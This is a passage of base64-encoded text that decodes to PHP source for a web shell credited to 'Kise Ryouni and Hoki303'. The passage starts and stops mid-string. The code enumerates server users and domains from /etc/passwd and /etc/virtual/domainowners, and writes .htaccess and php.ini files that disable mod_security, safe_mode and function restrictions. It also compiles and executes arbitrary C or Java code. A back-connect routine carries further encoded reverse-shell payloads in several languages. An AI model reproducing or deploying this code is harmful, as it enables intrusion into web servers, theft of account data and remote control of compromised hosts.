25hbWVkLmNvbmYnKTsKaWYoaXNfYXJyYXkoJGtpc2VyeW91bmk5KSl7CmZvcmVhY2goJGtpc2VyeW91bmk5IGFzICRraXNlcnlvdW5pMTMpewppZihAZXJlZ2koJ3pvbmUnLCRraXNlcnlvdW5pMTMpKXsKcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRraXNlcnlvdW5pMTMsJGtpc2VyeW91bmkxNCk7CmlmKHN0cmxlbih0cmltKCRraXNlcnlvdW5pMTRbMV1bMF0pKSA+IDIpewplY2hvICRraXNlcnlvdW5pMTRbMV1bMF0uJzxicj4nOwp9fX0KfQp9ZWxzZXsKZWNobyBfX3ByZSgpOwokdXNlcnMgPSBfaG9raV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmlmKGlzX2FycmF5KCR1c2Vycykpewpmb3JlYWNoKCR1c2VycyBhcyAkYm96KXsKJGRvbSA9IGV4cGxvZGUoIjoiLCRib3opOwplY2hvICRkb21bMF0uIlxuIjt9fX19CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k2J10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTYnXSkgPT0gJ3ZhbGlhc2VzJyl7CmVjaG8gJwo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcsdGhpcy5zaXRlLnZhbHVlLG51bGwsXCc+PlwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0IiAvPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udCI+VXJsOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJzaXRlLmNvbSIgbmFtZT0ic2l0ZSIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvZm9ybT48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2hva2k5J10pICYmICRfUE9TVFsnaG9raTknXSA9PSAnPj4nKXsKaWYoIV9ob2tpX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewokc2l0ZSA9IHRyaW0oJF9QT1NUWydob2tpNyddKTsKJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOwokdXNlciA9ICIiOwppZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKSl7CglpZigkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzL3skcmVwfSIpKSl7CgkJJHVzZXIgPSAkdXNlclsnbmFtZSddOwoJfQp9ZWxzZXsKCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR1c2VyID0gaG9raUV4KCJzdGF0IC1jICclVScgL2V0Yy92YWxpYXNlcy8iLiRyZXApOwoJfQp9CmlmKCFlbXB0eSgkdXNlcikmJiR1c2VyIT0ncm9vdCcpewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+PHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskdXNlcn08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZSB7ZWNobyBfX3ByZSgpLic8Y2VudGVyPjxiPk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkgT3IgRGlzYWJsZSBGdW5jdGlvbnMgaXMgbm90IE5PTkUuLi48L2I+PC9jZW50ZXI+Jzt9Cn1lbHNlewokc2l0ZSA9IHRyaW0oJF9QT1NUWydob2tpNyddKTsKJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOwokdXNlcnMgPSBfaG9raV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZXggPSBleHBsb2RlKCI6IiwkYm96KTsKaWYoJGV4WzBdID09ICRyZXApewplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4iLnRyaW0oJGV4WzFdKS4iPC9mb250PjwvYj48L3RkPjwvdHI+Cjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7YnJlYWs7fX19fX0KaWYoIWVtcHR5KCRfUE9TVFsnaG9raTUnXSkgJiYgaXNzZXQoJF9QT1NUWydob2tpNSddKSl7CmlmKCFfaG9raV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKZWNobyBfX3ByZSgpOwokaSA9IDA7CndoaWxlICgkaSA8IDYwMDAwKSB7CiRsaW5lID0gQHBvc2l4X2dldHB3dWlkKCRpKTsKaWYgKCFlbXB0eSgkbGluZSkpIHsKd2hpbGUgKGxpc3QgKCRrZXksICR2bCkgPSBlYWNoKCRsaW5lKSl7CmVjaG8gJHZsLiJcbiI7CmJyZWFrO319JGkrKzt9Cn1lbHNle2VjaG8gX19wcmUoKTsKJHVzZXJzID0gX2hva2lfZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOwpmb3JlYWNoKCR1c2VycyBhcyAkYm96KXsKJHVzZXIgPSBleHBsb2RlKCI6IiwkYm96KTsKZWNobyB0cmltKCR1c2VyWzFdKS4nPGJyPic7fX19CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k0J10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTQnXSkpewplY2hvIF9fcHJlKCk7CmlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpe2VjaG8gX19yZWFkX2ZpbGUoIi9ldGMvcGFzc3dkIik7fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpewpmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKXsKJGFyYSA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKaWYoIWVtcHR5KCRhcmEpKXsKd2hpbGUobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsKZWNobyAiJHZhbDoiOwp9ZWNobyAiXG4iO319Cn1lbHNle19fYWxlcnQoJ2ZhaWxlZC4uLicpO319CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kyJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTInXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwiI0dlbmVyYXRlZCBCeSBLaXNlIFJ5b3VuaSBhbmQgSG9raTMwM1xuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjLS0tLS0tRW5naW5lIE9mZlxuU2VjLS0tLS0tU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOwplY2hvICc8Y2VudGVyPjxiPjxiaWc+aHRhY2Nlc3MgZm9yIEFwYWNoZSBjcmVhdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pJiYgaXNzZXQoJF9QT1NUWydob2tpMSddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwic2FmZV9tb2RlPU9GRlxuZGlzYWJsZV9mdW5jdGlvbnM9QnlQYXNzZWQgQnkgS2lzZSBSeW91bmkgYW5kIEhva2kzMDMiKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPiBwaHAuaW5pIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnaG9raTMnXSkgJiYgaXNzZXQoJF9QT1NUWydob2tpMyddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IEtpc2UgUnlvdW5pIGFuZCBIb2tpMzAzXG48RmlsZXMgKi5waHA+XG5Gb3JjZVR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHA0XG48L0ZpbGVzPlxuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjRmlsdGVyRW5naW5lIE9mZlxuU2VjRmlsdGVyU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOwplY2hvICc8Y2VudGVyPjxiPjxiaWc+aHRhY2Nlc3MgZm9yIExpdGVzcGVlZCBjcmVhdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOwp9CmVjaG8gIjxicj48L2Rpdj4iOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19nZXRfcmVzb3VyY2UoJGNvbnRlbnQpewpyZXR1cm4gQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJGNvbnRlbnQpKTsKfQpmdW5jdGlvbiBfX3dyaXRlX2ZpbGUoJGZpbGUsICRjb250ZW50KXsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAid2IiKSl7CmlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9PWZhbHNlKSByZXR1cm4gdHJ1ZTsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYmNpbml0KCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKJHJlcyA9ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsgU3VjY2Vzcy4uLiEgXTwvZm9udD4iOwokZXJyID0gIjxmb250IGNvbG9yPSdyZWQnPlsgRmFpbGVkLi4uISBdPC9mb250PiI7CmlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CmlmKCRldmFsQXJndW1lbnRzIT0iIikgJGV2YWxBcmd1bWVudHMgPSAiICIuJGV2YWxBcmd1bWVudHM7CmlmKCRldmFsVHlwZT09ImMiKXsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxLiIuYyI7CiRwYXRoID0gJGZpbGVuYW1lOwppZihfX3dyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpewokZXh0ID0gKCRHTE9CQUxTWydzeXMnXT09J3dpbicpPyAiLmV4ZSI6Ii5vdXQiOwokcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OwokZXZhbE9wdGlvbnMgPSAiLW8gIi4kcGF0aHJlcy4iICIuJGV2YWxPcHRpb25zOwokY21kID0gImdjYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKaG9raUV4KCRjbWQpOwppZihpc19maWxlKCRwYXRocmVzKSl7CmlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7CiRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsKaG9raUV4KCRjbWQpOwp9ZWxzZXskcmVzID0gJGVycjt9CnVubGluaygkcGF0aHJlcyk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRoKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp9CnJldHVybiAkcmVzOwp9ZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKY2hkaXIoJHRtcGRpcik7CmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7CiRjbGFzc25hbWUgPSB0cmltKCRyWzFdKTsKJGZpbGVuYW1lID0gJGNsYXNzbmFtZTsKfWVsc2V7CiR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CiRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKJGV2YWxDb2RlID0gImNsYXNzICIuJGZpbGVuYW1lLiIgeyAiLiRldmFsQ29kZSAuICIgfSAiOwp9CiRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7CmlmKF9fd3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CiRjbWQgPSAiamF2YWMgIi4kZXZhbE9wdGlvbnMuJHBhdGg7Cmhva2lFeCgkY21kKTsKJHBhdGhyZXMgPSAkZmlsZW5hbWUuIi5jbGFzcyI7CmlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwpob2tpRXgoJGNtZCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRocmVzKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGgpOwp9ZWxzZXskcmVzID0gJGVycjt9Cn0KcmV0dXJuICRyZXM7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGhva2ljb25uZWN0KCl7Cmhva2loZWFkKCk7CiRwaHA9IjdWWnRhOXN3RVA1ZTZIOVFqYUUyUzV1WGZoZzBwREJZUHc3S1Z0aUh0ak9PTE5jaXRxVko4cEt4cGI5OWQzNkw0emlkMTdXd1FWMXdyYnZUbzBlNk96MWhTZ25sS1NhRk1qeTlkMGJ1OVBCQU0rTVpuakF2NWdrM2hVM01QWjdJbUZOdXZERE9kT1NnMVRhK3VtZEdreGxoS3htTGdEa1dzUWFrdE9jaEZMM2pzN08zT0ZqNk1FaXpPTVlCYXc1MEJBTUxVSUFKdWI3OCtHRzJNa3dsMDZ0UDQ5bnhyWDMxK2YzRjhiUjBnMjA2blBOMENKTk91SVhURTV6OVFON0ZvVSt1bVo4UUhiRTRKZy9rOEFEOVBDUU9GVmxxbklxeVMyWkF5eVUvRGc4SVBMWUVnTkkzTFUwNUk2c2FHUnpCb2dGYTFvVEZtdTFCblhTaTZwdlJYUk81Tm8vdnRwZnc2U0pmb21BZFppazFYS1FlVzNGdHRITXNhV3BpTHhScWNldzJGdUlCVE43NDh2U2dCekVLNzR5YzRJWUJ4empqdHJ1MGo1cDJLVFJmZVZBTm1nZU8yd0ZRVWtUZTFkbHNHR0hhdFZHUUMwOEx1b0NhMGt4OVk4cXhESlhudytIb05QODd0OGdwMEllYVlVcWxvdmdQOHlvaUZVUlpreUtEdzlZRGNsWXp0ZW5PUWo2bFRHSmNjemNRWWtRc2xzQkFaM01ZT1RLU1hwYjZDWFBjQVJrQnBwdHYwbHJ5ZExNUGZNS2w0b1k1TmdWMkNkQ0Z0TkVsSHNrcHNTNnNhaEY4bGhHUEdaNG9PUUtrMEljaTJVS3FpeUxFMUFOaWMzSjk3b3JkZTRsdmFPUllReHJjRXVmbXk2MitlK01PT2ZZV25wVlM3ZzV1amgxZ0dZQjdVMVZ0ZEs2OWdDc0hJZ0dDUnRWM1I3UXRBR3Q3cjYyb1RSc1l4WlBtRWR1eVBFeXNGb3Y4L0VuMlJuek5JTUlsYzhqZ29vV1A2QVVOSHhyN2NvV1RrSWkxazRUV3hHYkdSSE52NjBaV2FTdzBhK1dnTXRhbFUyeHhielUwNTlvQjFyeXZsUC9kR1pIWlJmbHBTUzRaSk01U0Z0VFp1TU94Uk1lazI3RzFnRlRZNUVwUVQwaVdBc3RvZ0t0aVVYRFpqTVNVSEVHbUZkTWlVeFRZU3F5WTdkN0hwOUZlOHhpNkIwVUF3ZUN5Z3A3b0ZUbnVIVG5wRlVsYlFXVlBHWlh0OWxKK1F6SVJZaGF4eUlydmdwWGJYVk8yOHVzczVUbXM5bEJTYkhkQ3pURm1GTzRVNVVQa0VsOE1YcWhlWFMzTVU2K3hndkwzZEN2SG13RGdneUtPNnE0MnJPcXR5b3JOMjFIcnh3alUyK3ZEb2c1K25BcDlFb3ZKbjdDWS9EMkxqbDdYWGIzZWVRRVVwNzNQTTk3cjJTNmd2RmNyYjYxcDYrWVBpRW85VWZhMzFUTkVPU3NhUFNydmZaYmlhMHYvbmtuYjlMTnIyMDd1WHJXdGliOVAyK0FIYTE5MTB6M1VyWWVRNlZjaGV4RWgwMDhTTXYwa0lkTXZMbVM2NStXdC95Y2gwLytFa1AyT1JWOGhlMm5OK2dVPSI7CiRweXRob249InBWUnRUOXN3RVA2Y1N2MFB4cHRXUjgwTTdZWTB3WUpVUVpqUUJsUnRwMzBBVnFYT3BZbVdPcEh0UVBuQ2I1L3RKRzFBSFVLYXFyYStWOTl6OTV6ZjdlMlhVdXd2VXI0UC9CNFZqeXJKZWJlVHJvcGNLQ1RBaytXaUVEa0RLYjFjZXZKUmYzUDJCNVNuMGhWME80V1BjYmVUMk44SVlpUVR5RExDM0tOdXh6RngvamFlanZNQ09HR2U5ZkZub3RUWlZaU1g2cG5UeFRnd2FoQmlsenJsTDdXdXZrbUFLZ1ZIUmsycmxGUkFHQkczMzZoMHVwWnFWU2ppVXVBc2o0RDBTaFYvL05MVGVTb0lJVk5wem1zTWFZeHlTWG00Z2owZmM0V056b2w5UnVNMEE1NFRjN3VqUFhSakZLd0loclZ0M0N5WVhQcHJCV0oxUEo0Ty9ONzc4YSt6azk1eGJkV3FZOXR5bWFDUEtmcjZBZmVsRWlSMit4aWR0SVhoVmpJWFFTYkJGdkNRNk51UjZhQVZIU1VlcTRNamRHa0MyRDBaSEF3L3V6UUNDeEZiaU5nVzY4Q2FRYUZxL3lLVXN0STJ1UjJEV1dNandqMDVxRFhPd2hkQUpZU0NKUVN6NkJhUm05KzM4cTd2WWs5NGNSWXVwWEc0K0haMVBRbE9SOVBBcmVOMHFrV1RvKzVsRWFxRXBqSktCVm5RcGNqTGdneGNkK05rbXNtU0Y5YkdxRWNKUENML21tRGoxOEtpOHhsK1dWWUt0MTFKcVZESUk0dFVudzNXT3J1UktrZWJCOVhrT2crMTFIQ2txZUJvU3o1OHkzRmZGNzhFeFI0TXovQ0ozb21scjVsQlE3RzgxMHRWOVhYcCt2N1E3b2UvdkJuY2RUdVF0U3lmMmhZbjBZZWhkZEdWd0RwVnVodG02Vkt1U0tGUDBxKzJrVlovcEpaRzUvT0xxMkJXcnlxZFhwOStuMDluazJCMGFXSTBUR1VzZWJFSm1GNy9tQnV2ZHN4OEV2eWNCcU96czRsbkxuMVp2YVNhd1JFaCtJRGFEL1lLT3dCSnMxVHZBaWVIUmpMTTFDc2Z1cjd1QWpQRXN5dlQ0cUI1UjZqTUFBcUxiVHU4bmF2WFVJRGdKelRLNGhETklGeWhxWmt2ZXRJVDJNMkpMU0ZlQzhlYnAyRjNsczNEOEt3WmRtQUdKdExFelRrSHBnaEo2bWJzeG5uNEJwenkvM0MrRnY1R25OTDlDdz09IjsKJHBlcmw9ImxaTFJqcE5BRklhdjI2VHZNT0pzQzhrWVdyMWJwSkZRM0RSclM4T3dHbU9Wc1BTc1RLUURnVm0zbSs3MjJaMEJWaWZHR0wwNzU1L0RkK0FibmoremI1dmF2bWJjQnY0ZFZWQVhvK0Z0QTJnWm5wL1RNdnNHd2hrTmNkbTQrRXVvcWlaM0RUaFVaUzFRSEVRcjl5Q2czanNiT25Nblc3ejVzTmpPSjA1L0xrT25KVGM1ZXNFTStUUzdNUlhxdExmdlpNeXNZNHM3ODhNVjNRVCtHYkl2RGVkUkxoSHVWeEJWWFlyeStwNm5lekFuSXFzbWxpUTA3U3VabEl3M2I1UGxPb2pKbUliK1pVTGpLUEJXQkF2cjRXSEh3TFM2YlcrODZPSzk2ODZzNDJnNHdKV0xWZjlwK2xtZURob1FpbFpXQ2tmRGQ0a0NTU0FOa3lpNG9vRzNXRVJrcGtBRCtSRTdPYVRHMDkydVRoZzNjVVdXYXpXU2VPdVBscloxVUxCR0FKZmpyL1EwelRLUW0zeENyVzY1SlByRU9DR3Z1RWxSRE9rZTBSeUtBcDIyM0NEVGRxaXNnQ01hTDVacllyd2UrNGJ6RklSWE1USG1laEpFVVovSTUrQUFHWkpxdGZWWlVUWmcrcGJURmZSbm9laGFJOGxhSjZsV0IyUUNUV1VsTHdlSzVwZllsMzhTaS9PK25YVXRjeGtIa2FTaWxOcHlYUXBPM2QrY1lxYWZaeVhua0tuN3dhbWV0L2JvUDlnemUzdnpNVFVzNXlucDllbFI3MDlGZnhQNGY5NDZXM0JVK2t6NUp6MytBQT09IjsKJHJ1Ynk9InRWYjdiOU02RlA3WitTdU1OMGh6VnhMR1EraDJONnZHVTBnZ3FqRzRRbVFYdGM1cFl5MTFndTNRb1czODdmaVZycVh0MWl2ZDY2cDFlczduOC9UNTJwMDdTU05GTW1JOEFmNGRpMmIwSTlqQmhWSzE3Q1hKaEttaUdjVzBtaWFqUjA4Zm43blBRTUMzaGduQW9hem9HYWp3V2xBUFZjR0hVd2lESUljeGxnMDlrd0VTb0JyQjhmSEhaNSsvRHQ0ZW5ieDZmL3d1enFzWnAwTUo4WFNvYU5FSnAzTEcrS1Y1VHhtZnpNS29yMFFEdmZHd2xCQUF6NTFGQWNQU09PbElKU0p0T2RWN2dOZ1l2MklseEhET3BKSjlyOVRhZ1k4bjVqQ3owcmcxRUt2cXF3N05HRGJIYmFSWUZjQ3hTRVU4a2Myb2syUkowaVZaUmlKc1lUNE40YUxSaDQ2T1gzK0tTK0FUVmFUcGZvRDFNcUl2RDA3VG44ay9YeDdjLy9QMFlyLzc1R28zNmRmcEc2NWdBcUxqRVZGUEI2dnNHWm1lUEI5OEFQRWRoSTJUa0c0ZFdRMU5aVHlrRkdvSHBIRXRHRmVZMkRaZ1dVQlo0aDZtRmVkQUZlUVpKeFkzZ2duajlza3NIU2l2bE84RlhsampsSm9xc0NVaG5BUEYwdm9aZHdpYzE1VlErT1RsOGJ2MFhJR1lIZ3crN0tkaHRqdjQrMFYyR0I1NHZSWWUyRHNrQzN5ZjRleXY3TjdkSEdlSGRudm9kdElkbTFjMDl3YW1zWXV1Mi9UbVBTWXhpZmJJSVZsQ3pRcmRhVnpxMkNlZ2xoTXlTd3laQkF4Q1ZPS1pxRXp5cFdsR3ppQVQvZDFrQmUrclU4YTBxS1oxbWhLeUF2RXdZNGZtT1A0allXc2hacFZwNmUrT1JpYXNHNGFSTTd6eFJIdDFjejAvVkZYaVI3OVRSaHZSenNlOFFMY2dYekNodld2TE53SE5aZDZrMjY0akN3MzFaY3BtdlJ2THRDNXBWNmV0RTdvTi9wK21CUnROdlhrZjExVU52Rk4yaVNEUnhTV3JMbHZ6ckRKc2srOFJQWmQ3Szc2dWdtM0QvbDIyK0wxOUZpQnBjMzN2TmZuTjZRVzRiTVIxQmpLbVpiV1FrVXc1SzRQV2x1dmhFckU5dEFTNWdkaTBvMVZxTzlEU0lyWGY5azgxeDVvQytvQWM0VHJHc3o4ZWp2RjJMb29yeTNwSWJzRnh5QkVjUWt2VWhoQWFhNzYwaklhTXUvK2J5RkNiMlR6bzFRdWxsUzFoU1VkWVdvSnVJU2tiUDFyRFRNakxGNm5JeXRCbTRrSHRvVFUwZzlyRGk0emloVXZrNFVTMmQzYmRtTEN0eTI5TXNEbUtkcEJYM1M1ci9vMXo4TWgxMHltM25NNGxwMzUzbS84enNIYmdrSjgyRTZXYk0vMWtKd3o1OFhLVFo4Rkc4Z3M9IjsKJG5vZGU9Im5WSExhc013RUR3cmtIOFF2bGlDb0VEVFc4aWg5QlBTVy9wQXRkZVJRSlpjU1hZS0lmbjJ5cktkNXRHV1loK0VkMmQyTkR0cXVNV3U0anVOVjlqQ1J5MHRrRFFUVXVWdmxUVVpPSmRTRmduTDZhUUpaQTMrbkJyS2xQYVE4eFo0ZVk1Mm5STWhNOW9aQlJkWGRhMUk2VlVFS0JVbzZmeGQ2cmtUYVVCa1FYbzNyRkxjRjhhV3JPUStFMlQrdWdzc1NlbjNYRmJtREQ0aFBTbHl1MjBDTUNpMFphZlovakVGZXV2RmFyV2crK2tFdFh3UnlHRXZsZ1h6SHRaZ0c3Q2txSFhtcGRIRVJSNXliR2VsQjVJYzhZTXFPSDVxVjE5SEQ4ZG5uYlQ3NFA3cnRncWlNVWNTalo3alRqRG5jNm1aQlZlWFFPZzFaR3JQd3MxSnpqMVBab01UVE5xYTdnY25zVm9lYnBYQjJwSGpmNDBOcG0rbVVYY0twcVR6b0dQS203dVh0bm1ZVGtBNXdOZlozNSt5ZHhmWlB4cXRvWXU5VjVuRjE5d3NvdHgvSGdIOWxqNzZJWFkwTW04ME1tZzBMdUhERnc9PSI7CiRjPSJ0Vkp0Yjlvd0VQN2NTdjBQSHAxYXAvV0FzTzBUVGFXb1pCTGFDaEhKTkUwYmlsTEhOS2NaRzhWbWdrN3JiOThsQkFyWmkvYWxVcXpjUGZmNDduelBuWUxpY3BrSmNtVnNCcnFkWDU4Y24rNWhCYWo3MzhCTXdsMFRYSnVPWFMrRStRTnVOUDhtYkNPZ2hBVThIVkNOd0ZJQlZxaEFVSmJNVTFDME5OTGluak9lcHdXNVFQUDdsNm56NCtUNHFJd1l4cG4yM0Q2NjJQQ1NJNElWMHl3ckVsQUVTaHhtdEx6dmViM3ExaEcwRGFoa2xzNUJyajMvWFRJY0JYSC9LYkRRaGZWeXE1V2hxZFZBcTRMdTFISDJPR1grdHFsK0ZWWFM0Y2dmRENhSlAvcTg0Umx2ODNKYUYyRFIrT1o5RXNXVHdMOWwzWm9qYkVuU0Mwc054ajhrSmFlaUpwUGdZeFNVR2RtWlpnWWVoSjVSdlcxaFJsOFlSNnpBMGpyUkhhZ01VOURHQk1pRmN3YXN1M0pybXNUaENvWEV0eHVmZXlubm9xcmVmZW9KVTNIV2VpUytuS1VrRnVtY1JMbVFrangrVlMzV2U3TWxac3RGRDRtSG5udmc5ZXFVYXl3N3B5MnhLa2RMNG1CeTY2MnNLT2I5TUhLOTg1ZmhwOEgxZWIrT0lvU200S1NEaitxWW5MeUNWdDJ0MUVaUVhqay84UWhwQk5scCsvcFp0QzIzdExJMnpONjBudmVES1BRV1lqaDFpV1BkTWk3ZHkzMWtsLzJmR3pFTXc4azRIaWZ4VGJnVG1YS3RsT0QycjhyV2U5R0lPWTV6MVQxWWowcFQ4NythbW9ibkhualBvYW5aYW9yZkx3PT0iOwokamF2YT0ibFZSTmI5c3dERDJuUVArRDRKTTlCRzZUMDRiQ3d6Nnd3NEFCSFpiZXVod1VoYkcxMnJJZzBYR0NOUHZ0b3o3c3Vtc3ZQZGlXeUNmeThaR3liSFJya1AzaGU1N0xObjkzYzNraEp5WUY2RzJYRjdyYjFGSXdVWE5yR2E5My9BNTRjN3E4bUdrajl4eUJXZVJJZ0oxVXZJNHdqUXdPQ0dwcjJWMWxnRzhkZmp6d1hla09WMGoyaGtsN00zWGRkdmprYXp2MERNZ2RPR2hNbjUrZHZ6aVFuYkNTTnBlMm9NaCtTY2JDUlRxSFVKOXU5MkNNM01JazdyNlZXMlk2bFdhZTV3ek5NU3htbXlQQy9acHRXTUVVOU14djN5OCtMTmMzd1M4Vk1rRk95dVBLVERkWmRQU1ZyQ0VWSDR2cmpNVllNMktSOTBZaXBKdjU5VndNVUcvZjFaMnQwdEgwYXN5ei80UzM0Q2lxOU50QmdFYlpLZ2JaQ1hKU1VaRVdYRHpjR1M2QXdubXdlNFhxWTcyeFk3N3Noa3VWa241U2xWUW9ONlVOSXJqSzNEajQzTUhQUkxNbFhzblZScW9yV3lYZUpYZnA2bWdSbXJ3RS9HbGFEUWFQYWRMYVhQRUdraXpIOWtmYmcvbktMUkhLcGRyQzRYYVhKcjFVU2Via09jV285RWtDMzVpdGQ5YS83RE9OSEhNengxWVYxRFg3KzF1RnpKUGU5Qzc1RjlyYktPR3FGUStBcklwOUM5dm9HN3RMMUYyOWVRMnF4S29vRnJIOU0zOE5DcHBUaEJKTXJybXhRQnVQdnI5ZUQvMVlnYUZaaXFuc2tHcGlURjJnQWUyNDJKd0wxN0doMGFHWFVGdGcvNU5adnBWTUVFMXF3bnJYWWoxSlBCRkI2am1iOERxL0xnVjdmR1N2ODVuZXdGSzZzaXVuL3NROGp2R3p5MW0ySTNacUg4SGtIMjdIWUtKeEV1QitKM1R3VjZkUU51Q094eVZORXh4QXBEUTRXZnhQa0ZvMHRZdFlNT21zWDFDYk95SkRBb2RlUHFGTDkwZlJMeG1POEV